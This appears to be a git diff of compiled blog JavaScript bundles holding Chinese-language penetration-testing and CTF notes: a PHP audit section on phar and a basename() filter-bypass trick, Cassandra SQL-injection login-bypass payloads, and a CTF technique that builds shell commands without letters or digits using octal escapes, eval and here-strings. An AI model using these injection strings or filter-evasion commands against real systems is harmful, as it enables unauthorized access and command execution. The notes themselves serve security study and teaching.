php",children:"Ameng.php"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:" data; // TODO: Implement __destruct() method.\n }\n}\ninclude('phar://phar.phar');\n?>\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648109.png",alt:"img"})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u91cc\u7b80\u5355\u4ecb\u7ecd\u4e00\u4e0bphar\u7684\u5927\u81f4\u5e94\u7528\uff0c\u66f4\u8be6\u7ec6\u53ef\u4ee5\u53c2\u8003",(0,r.jsx)(e.a,{href:"https://paper.seebug.org/680/",children:"seebug (opens new window)"}),"\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3",children:"\u5176\u4ed6\u4e00\u4e9b\u603b\u7ed3"}),"\n",(0,r.jsx)(e.h3,{id:"basename",children:"basename()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u8fd4\u56de\u8def\u5f84\u4e2d\u7684\u6587\u4ef6\u540d\u7684\u4e00\u90e8\u5206(\u540e\u9762)"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"basename(path,suffix)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-31",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"path\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u68c0\u67e5\u7684\u8def\u5f84\u3002"}),"\n",(0,r.jsx)(e.li,{children:"suffix\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u6587\u4ef6\u7684\u6269\u5c55\u540d\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ntest.php\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u8fd8\u6709\u4e00\u4e2a\u7279\u70b9\uff0c\u5c31\u662f\u4f1a\u53bb\u6389\u6587\u4ef6\u540d\u7684\u975eASCII\u7801\u503c\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u901a\u8fc7 url \u4f20\u5165\u53c2\u6570",(0,r.jsx)(e.code,{children:"x=index.php/config.php/%ff"})]}),"\n",(0,r.jsx)(e.p,{children:"\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648110.png",alt:"img"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6211\u4eec\u770b\u5230\uff0c",(0,r.jsx)(e.code,{children:"%ff"}),"\u76f4\u63a5\u6ca1\u4e86\uff0c\u800c\u662f\u76f4\u63a5\u8f93\u51fa\u524d\u9762\u7684\u7684\u6587\u4ef6\u540d\uff0c\u8fd9\u4e2a\u53ef\u4ee5\u7528\u6765\u7ed5\u8fc7\u4e00\u4e9b\u6b63\u5219\u5339\u914d\u3002\u539f\u56e0\u5c31\u5728\u4e8e",(0,r.jsx)(e.code,{children:"%ff"}),"\u5728\u901a\u8fc7 url \u4f20\u53c2\u65f6\u4f1a\u88ab url \u89e3\u7801\uff0c\u89e3\u7801\u6210\u4e86\u4e0d\u53ef\u89c1\u5b57\u7b26\uff0c\u6ee1\u8db3\u4e86",(0,r.jsx)(e.code,{children:"basename"}),"\u51fd\u6570\u5bf9\u6587\u4ef6\u540d\u7684\u975eASCII\u503c\u53bb\u9664\u7684\u7279\u70b9\uff0c\u4ece\u800c\u88ab\u5220\u6389\u3002"]}),"\n",(0,r.jsx)(e.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.a,{href:"https://wiki.wgpsec.org/knowledge/code-audit/php-code-audit.html#php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%9F%BA%E7%A1%80%E7%9F%A5%E8%AF%86",children:"\u72fc\u7ec4\u5b89\u5168\u56e2\u961f\u516c\u5f00\u77e5\u8bc6\u5e93"})})]})}function p(n={}){const{wrapper:e}={...(0,c.R)(),...n.components};return e?(0,r.jsx)(e,{...n,children:(0,r.jsx)(t,{...n})}):t(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/dda7ad6e.74ec974b.js b/en/assets/js/dda7ad6e.74ec974b.js new file mode 100644 index 0000000..bf46eb7 --- /dev/null +++ b/en/assets/js/dda7ad6e.74ec974b.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[4275],{8793:(e,s,n)=>{n.r(s),n.d(s,{assets:()=>i,contentTitle:()=>d,default:()=>h,frontMatter:()=>t,metadata:()=>a,toc:()=>c});const a=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra","title":"Cassandra","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/10.Cassandra.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/Cassandra","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/01.SQL\u6ce8\u5165/10.Cassandra.md","tags":[],"version":"current","sidebarPosition":10,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"DB2","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/DB2"},"next":{"title":"BigQuery","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery"}}');var l=n(74848),r=n(28453);const t={},d=void 0,i={},c=[{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"\u5361\u6851\u5fb7\u62c9\u8bc4\u8bba",id:"\u5361\u6851\u5fb7\u62c9\u8bc4\u8bba",level:2},{value:"Cassandra-\u7ed5\u8fc7\u767b\u5f55",id:"cassandra-\u7ed5\u8fc7\u767b\u5f55",level:2},{value:"\u767b\u5f55\u7ed5\u8fc7 0",id:"\u767b\u5f55\u7ed5\u8fc7-0",level:3},{value:"\u7ed5\u8fc7\u767b\u5f55 1",id:"\u7ed5\u8fc7\u767b\u5f55-1",level:3},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function o(e){const s={a:"a",blockquote:"blockquote",code:"code",h2:"h2",h3:"h3",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,r.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsxs)(s.table,{children:[(0,l.jsx)(s.thead,{children:(0,l.jsxs)(s.tr,{children:[(0,l.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(s.tbody,{children:(0,l.jsxs)(s.tr,{children:[(0,l.jsx)(s.td,{style:{textAlign:"left"},children:(0,l.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,l.jsx)(s.td,{style:{textAlign:"left"},children:"2023-07-05 21:37:29"})]})})]}),"\n",(0,l.jsxs)(s.blockquote,{children:["\n",(0,l.jsx)(s.p,{children:"Apache Cassandra \u662f\u4e00\u4e2a\u514d\u8d39\u5f00\u6e90\u7684\u5206\u5e03\u5f0f\u5bbd\u5217\u5b58\u50a8 NoSQL \u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf"}),"\n"]}),"\n",(0,l.jsx)(s.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,l.jsxs)(s.ul,{children:["\n",(0,l.jsx)(s.li,{children:(0,l.jsx)(s.a,{href:"#cassandra-comment",children:"\u5361\u6851\u5fb7\u62c9\u8bc4\u8bba"})}),"\n",(0,l.jsxs)(s.li,{children:[(0,l.jsx)(s.a,{href:"#cassandra---login-bypass",children:"Cassandra-\u7ed5\u8fc7\u767b\u5f55"}),"\n",(0,l.jsxs)(s.ul,{children:["\n",(0,l.jsx)(s.li,{children:(0,l.jsx)(s.a,{href:"#login-bypass-0",children:"\u767b\u5f55\u7ed5\u8fc7 0"})}),"\n",(0,l.jsx)(s.li,{children:(0,l.jsx)(s.a,{href:"#login-bypass-1",children:"\u7ed5\u8fc7\u767b\u5f55 1"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(s.li,{children:(0,l.jsx)(s.a,{href:"#references",children:"References"})}),"\n"]}),"\n",(0,l.jsx)(s.h2,{id:"\u5361\u6851\u5fb7\u62c9\u8bc4\u8bba",children:"\u5361\u6851\u5fb7\u62c9\u8bc4\u8bba"}),"\n",(0,l.jsx)(s.pre,{children:(0,l.jsx)(s.code,{className:"language-sql",children:"/* Cassandra Comment */\n"})}),"\n",(0,l.jsx)(s.h2,{id:"cassandra-\u7ed5\u8fc7\u767b\u5f55",children:"Cassandra-\u7ed5\u8fc7\u767b\u5f55"}),"\n",(0,l.jsx)(s.h3,{id:"\u767b\u5f55\u7ed5\u8fc7-0",children:"\u767b\u5f55\u7ed5\u8fc7 0"}),"\n",(0,l.jsx)(s.pre,{children:(0,l.jsx)(s.code,{className:"language-sql",children:"username: admin' ALLOW FILTERING; %00\npassword: ANY\n"})}),"\n",(0,l.jsx)(s.h3,{id:"\u7ed5\u8fc7\u767b\u5f55-1",children:"\u7ed5\u8fc7\u767b\u5f55 1"}),"\n",(0,l.jsx)(s.pre,{children:(0,l.jsx)(s.code,{className:"language-sql",children:"username: admin'/*\npassword: */and pass>'\n"})}),"\n",(0,l.jsx)(s.p,{children:"\u6ce8\u5165\u770b\u8d77\u6765\u50cf\u4e0b\u9762\u7684 SQL \u67e5\u8be2"}),"\n",(0,l.jsx)(s.pre,{children:(0,l.jsx)(s.code,{className:"language-sql",children:"SELECT * FROM users WHERE user = 'admin'/*' AND pass = '*/and pass>'' ALLOW FILTERING;\n"})}),"\n",(0,l.jsx)(s.h2,{id:"\u53c2\u8003\u6587\u732e",children:"\u53c2\u8003\u6587\u732e"})]})}function h(e={}){const{wrapper:s}={...(0,r.R)(),...e.components};return s?(0,l.jsx)(s,{...e,children:(0,l.jsx)(o,{...e})}):o(e)}},28453:(e,s,n)=>{n.d(s,{R:()=>t,x:()=>d});var a=n(96540);const l={},r=a.createContext(l);function t(e){const s=a.useContext(r);return a.useMemo(function(){return"function"==typeof e?e(s):{...s,...e}},[s,e])}function d(e){let s;return s=e.disableParentContext?"function"==typeof e.components?e.components(l):e.components||l:t(e.components),a.createElement(r.Provider,{value:s},e.children)}}}]); \ No newline at end of file diff --git a/en/assets/js/de21a6a6.22814d3a.js b/en/assets/js/de21a6a6.22814d3a.js new file mode 100644 index 0000000..282191e --- /dev/null +++ b/en/assets/js/de21a6a6.22814d3a.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3021],{9877:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607202145762-915de2207e2a69db942a6c18f8fbf48d.png"},24026:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240609110839466-92e51028405d00a9a04b6236defafd07.png"},24583:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607201706852-6b8f9baa785fcb3fd32b71ca9a8ce143.png"},28453:(e,n,s)=>{s.d(n,{R:()=>l,x:()=>i});var d=s(96540);const c={},$=d.createContext(c);function l(e){const n=d.useContext($);return d.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function i(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(c):e.components||c:l(e.components),d.createElement($.Provider,{value:n},e.children)}},30198:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607202342270-a52e64facec8b502692b480425e39664.png"},35088:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607202310491-3f0f0a1a887e20db97768f91593be647.png"},49561:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240609111007447-e5882c39650cbef071be218ed670d3b0.png"},68610:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240609110358501-f7160643de72279dd8d0d7d2faa2e71d.png"},75886:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607202025621-d27ed45fd207324ea3207e1c18f94328.png"},77766:(e,n,s)=>{s.d(n,{A:()=>d});const d=s.p+"assets/images/image-20240607201343119-78a2537d41cf22b9a1953d1a46ebdd44.png"},79966:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>r,contentTitle:()=>i,default:()=>h,frontMatter:()=>l,metadata:()=>d,toc:()=>t});const d=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","title":"\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/02.\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/07.CTF/02.\u5947\u6280\u6deb\u5de7/02.\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"01.PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/PHP\u5229\u7528GNU-C-Iconv\u5c06\u6587\u4ef6\u8bfb\u53d6\u53d8\u6210RCE\uff08CVE-2024-2961\uff09"},"next":{"title":"FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/CTF/\u5947\u6280\u6deb\u5de7/FILTERS\u7684\u4efb\u610f\u683c\u5f0f\u8f93\u51fa"}}');var c=s(74848),$=s(28453);const l={},i="\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4",r={},t=[{value:"shell\u811a\u672c\u4e2d$\u7684\u591a\u79cd\u7528\u6cd5",id:"shell\u811a\u672c\u4e2d\u7684\u591a\u79cd\u7528\u6cd5",level:2},{value:"\u6709\u6570\u5b57\u7684\u547d\u4ee4\u6267\u884c",id:"\u6709\u6570\u5b57\u7684\u547d\u4ee4\u6267\u884c",level:2},{value:"\u5229\u7528$#\u6784\u9020",id:"\u5229\u7528\u6784\u9020",level:2}];function a(e){const n={code:"code",h1:"h1",h2:"h2",header:"header",img:"img",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,$.R)(),...e.components};return(0,c.jsxs)(c.Fragment,{children:[(0,c.jsxs)(n.table,{children:[(0,c.jsx)(n.thead,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,c.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,c.jsx)(n.tbody,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{style:{textAlign:"left"},children:(0,c.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,c.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-14 23:58:22"})]})})]}),"\n",(0,c.jsx)(n.header,{children:(0,c.jsx)(n.h1,{id:"\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4",children:"\u5229\u7528shell\u811a\u672c\u53d8\u91cf\u6784\u9020\u65e0\u5b57\u6bcd\u6570\u5b57\u547d\u4ee4"})}),"\n",(0,c.jsx)(n.h2,{id:"shell\u811a\u672c\u4e2d\u7684\u591a\u79cd\u7528\u6cd5",children:"shell\u811a\u672c\u4e2d$\u7684\u591a\u79cd\u7528\u6cd5"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,c.jsxs)(n.table,{children:[(0,c.jsx)(n.thead,{children:(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.th,{children:"\u53d8\u91cf\u540d"}),(0,c.jsx)(n.th,{children:"\u542b\u4e49"})]})}),(0,c.jsxs)(n.tbody,{children:[(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$0"}),(0,c.jsx)(n.td,{children:"\u811a\u672c\u672c\u8eab\u7684\u540d\u5b57"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$1"}),(0,c.jsx)(n.td,{children:"\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u7b2c\u4e00\u4e32\u5b57\u7b26"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$2"}),(0,c.jsx)(n.td,{children:"\u4f20\u9012\u7ed9\u8be5shell\u811a\u672c\u7684\u7b2c\u4e8c\u4e2a\u53c2\u6570"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$*"}),(0,c.jsx)(n.td,{children:"\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u6240\u6709\u5b57\u7b26\u2019westos\u2019 \u2018linux\u2019 \u2018lyq\u2019"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$@"}),(0,c.jsx)(n.td,{children:"\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u6240\u6709\u5b57\u7b26\u2019westos\u2019 \u2018linux\u2019 \u2018lyq\u2019"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$_"}),(0,c.jsx)(n.td,{children:"\u8868\u793a\u4e0a\u4e00\u4e2a\u547d\u4ee4\u7684\u6700\u540e\u4e00\u4e2a\u53c2\u6570"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$#"}),(0,c.jsx)(n.td,{children:"#\u811a\u672c\u540e\u6240\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u4e2a\u6570"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$$"}),(0,c.jsx)(n.td,{children:"\u811a\u672c\u8fd0\u884c\u7684\u5f53\u524d\u8fdb\u7a0bID\u53f7"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$!"}),(0,c.jsx)(n.td,{children:"\u8868\u793a\u6700\u540e\u6267\u884c\u7684\u540e\u53f0\u547d\u4ee4\u7684PID"})]}),(0,c.jsxs)(n.tr,{children:[(0,c.jsx)(n.td,{children:"$?"}),(0,c.jsx)(n.td,{children:"\u663e\u793a\u6700\u540e\u547d\u4ee4\u7684\u9000\u51fa\u72b6\u6001\uff0c0\u8868\u793a\u6ca1\u6709\u9519\u8bef\uff0c\u5176\u4ed6\u8868\u793a\u7531\u9519\u8bef"})]})]})]}),"\n",(0,c.jsx)(n.h2,{id:"\u6709\u6570\u5b57\u7684\u547d\u4ee4\u6267\u884c",children:"\u6709\u6570\u5b57\u7684\u547d\u4ee4\u6267\u884c"}),"\n",(0,c.jsxs)(n.p,{children:["\u9996\u5148\uff0c\u5728linux\u91cc\u5b8c\u7f8e\u53ef\u4ee5\u5229\u7528\u516b\u8fdb\u5236\u7684\u65b9\u6cd5\u7ed5\u8fc7\u4e00\u4e9bban\u4e86\u5b57\u6bcd\u7684\u9898 \uff0c\u5373\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,c.jsx)(n.code,{children:"$'\\xxx'"}),"\u7684\u65b9\u5f0f\u6267\u884c\u547d\u4ee4\uff0c\u6bd4\u5982\u6211\u4eec\u53ef\u4ee5\u7528",(0,c.jsx)(n.code,{children:"$'\\154\\163'"}),"\u6267\u884c",(0,c.jsx)(n.code,{children:"ls"}),"\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"\u279c / $'\\154\\163'\n\u279c / \n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607201034726",src:s(94825).A+"",width:"2634",height:"96"})}),"\n",(0,c.jsx)(n.p,{children:"\u53ef\u4ee5\u53d1\u73b0\u6709\u4e86\u8fd9\u79cd\u6280\u5de7\u6211\u4eec\u5c31\u53ef\u4ee5\u5728\u6570\u5b57\u53ef\u7528\u7684\u60c5\u51b5\u4e0b\u8fdb\u884c\u547d\u4ee4\u6784\u9020\u3002"}),"\n",(0,c.jsxs)(n.p,{children:["\u9664\u6b64\u4e4b\u5916\u5728bash\u91cc\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,c.jsx)(n.code,{children:"[base#]n"}),"\u7684\u65b9\u5f0f\u8868\u793a\u6570\u5b57\uff0c\u4e5f\u5c31\u662f\u8bf4\u6211\u53ef\u4ee5\u7528",(0,c.jsx)(n.code,{children:"2#100"}),"\u8868\u793a\u5341\u8fdb\u5236\u6570\u5b57",(0,c.jsx)(n.code,{children:"4"})]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-shell",children:"\u279c / echo $((2#100))\n4\n\u279c / echo $((2#101))\n5\n\u279c /\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607201343119",src:s(77766).A+"",width:"914",height:"268"})}),"\n",(0,c.jsxs)(n.p,{children:["\u56e0\u6b64\u4ece\u8fd9\u91cc\u6211\u4eec\u53c8\u5411\u524d\u63a8\u8fdb\u4e86\u4e00\u6b65\uff0c\u53ea\u6709\u6211\u4eec\u6709\u6570\u5b571\u6216\u80050\u90a3\u5c31\u53ef\u4ee5\u7ee7\u7eed\u6784\u9020\u547d\u4ee4\u3002\u5047\u5982\u73b0\u5728\u5b57\u6bcd\u6216\u8005\u6570\u5b57\u53ea\u67091\u548c0\u53ef\u4ee5\u7528\uff0c\u8fd9\u65f6\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u4f4d\u79fb\u8fd0\u7b97",(0,c.jsx)(n.code,{children:"1<<1"}),"\u4ee3\u66ff2\uff0c\u5f97\u5230payload\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-tex",children:"$\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'\n"})}),"\n",(0,c.jsxs)(n.p,{children:["\u7406\u8bba\u4e0a\u5b83\u53ef\u4ee5\u4ee3\u66ff",(0,c.jsx)(n.code,{children:"$'\\154\\163'"}),"\u6267\u884c\u547d\u4ee4\uff0c\u4f46\u4e8b\u5b9e\u4e0a\u662f\u4e0d\u884c\u7684\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"\u279c / $\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'\nzsh: command not found: $'\\154\\163'\n\u279c / \n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607201706852",src:s(24583).A+"",width:"1316",height:"248"})}),"\n",(0,c.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230\u8fd9\u91cc\u53ea\u89e3\u6790\u4e86\u4e00\u5c42\u89e3\u6790\u5230",(0,c.jsx)(n.code,{children:"$'\\154\\163'"}),"\u5c31\u89e3\u6790\u4e0d\u4e0b\u53bb\u4e86\uff0c\u60f3\u8981\u5b83\u7ee7\u7eed\u89e3\u6790\uff0c\u6211\u4eec\u4e0d\u96be\u60f3\u5230Linux\u91cc\u7684eval\u51fd\u6570\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"\u279c / eval $\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'\nbin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run\tsbin snap srv sys tmp tmp.txt tpdata usr var www\n\u279c /\n"})}),"\n",(0,c.jsx)(n.p,{children:(0,c.jsx)(n.img,{alt:"image-20240607202025621",src:s(75886).A+"",width:"2600",height:"158"})}),"\n",(0,c.jsxs)(n.p,{children:["\u4f46\u53ef\u60dc\u6211\u4eec\u662f\u4e0d\u80fd\u4f7f\u7528\u5b83\u7684\uff0c\u6240\u4ee5\u8fd8\u662f\u5f97\u8001\u8001\u5b9e\u5b9e\u7684\u7528",(0,c.jsx)(n.code,{children:"1"}),"\u6216\u8005",(0,c.jsx)(n.code,{children:"0"}),"\u6784\u9020\uff0c\u8fd9\u91cc\u6211\u4eec\u53ef\u4ee5\u60f3\u5230bash\u91cc\u7684\u4e00\u79cd\u8bed\u6cd5\uff1a",(0,c.jsx)(n.code,{children:'command [args] <<<["]$word["]'}),"\uff0c\u5728\u8fd9\u79cd\u8bed\u6cd5\u4e0b",(0,c.jsx)(n.code,{children:"$word"}),"\u4f1a\u5c55\u5f00\u5e76\u4f5c\u4e3a",(0,c.jsx)(n.code,{children:"command"}),"\u7684",(0,c.jsx)(n.code,{children:"stdin"}),"\uff0c\u4ee5\u6b64\u6765\u7ee7\u7eed\u6267\u884c\u547d\u4ee4\uff1a"]}),"\n",(0,c.jsx)(n.pre,{children:(0,c.jsx)(n.code,{className:"language-sh",children:"\u279c / bash<<<$\\'\\\\$(($((1<<1))#10011010))\\\\$(($((1<<1))#10100011))\\'\nbin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run\tsbin snap srv sys tmp tmp.txt tpdata usr var www\n\u279c 